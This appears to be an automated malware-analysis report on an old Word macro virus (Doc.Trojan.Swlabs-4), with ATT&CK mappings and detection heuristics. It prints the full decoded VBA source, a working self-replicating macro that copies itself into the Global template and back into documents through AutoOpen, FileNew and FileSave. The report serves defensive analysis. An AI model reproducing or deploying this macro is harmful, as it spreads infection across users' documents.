MALICIOUS
200
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1547.001 Registry Run Keys / Startup Folder
The sample is a malicious Word document containing VBA macros. The AutoOpen macro attempts to copy itself to the Global template, specifically targeting 'Global:AutoOpen', 'Global:FileNew', and 'Global:FileSave'. This action aims to establish persistence by ensuring the malicious macro executes whenever Word is opened or new files are created/saved. The ClamAV detection further confirms its malicious nature.
Heuristics 4
-
ClamAV: Doc.Trojan.Swlabs-4 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Swlabs-4
-
VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
-
AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 1567 bytes |
SHA-256: 16a0ac0b8ca5cc5c52bdd2fe8465ac30e921165d9be3183b0be1b74d6af47bb5 |
|||
|
Detection
ClamAV:
Doc.Trojan.Swlabs-4
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Attribute VB_Name = "AutoOpen"
Public Sub MAIN()
Attribute MAIN.VB_Description = "ScanProt macro to install protection macros, disinfect your Normal (Global) template and run the CleanAll macro."
Attribute MAIN.VB_ProcData.VB_Invoke_Func = "TemplateProject.AutoOpen.MAIN"
Dim FName$
Dim MacName$
Rem SkamWerks Labs Presents the Victory is ours. Created by Cheezhed
On Error GoTo -1: On Error GoTo ErrorHandler
WordBasic.FileSummaryInfo Subject:="Green Bay Packers -- Super Bowl XXXI Champions"
FName$ = WordBasic.[FileName$]()
MacName$ = FName$ + ":AutoOpen"
WordBasic.MacroCopy MacName$, "Global:AutoOpen"
WordBasic.MacroCopy MacName$, "Global:FileNew"
WordBasic.MacroCopy MacName$, "Global:FileSave"
ErrorHandler:
On Error GoTo -1: On Error GoTo AutoOpenHandler
MacName$ = FName$ + ":AutoOpen"
WordBasic.MacroCopy "Global:AutoOpen", MacName$
AutoOpenHandler:
On Error GoTo -1: On Error GoTo FileNewHandler
MacName$ = FName$ + ":FileNew"
WordBasic.MacroCopy "Global:FileNew", MacName$
FileNewHandler:
On Error GoTo -1: On Error GoTo FileSaveHandler
MacName$ = FName$ + ":FileSave"
WordBasic.MacroCopy "Global:FileSave", MacName$
FileSaveHandler:
Rem Go Pack Go!
EndCode:
End Sub
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.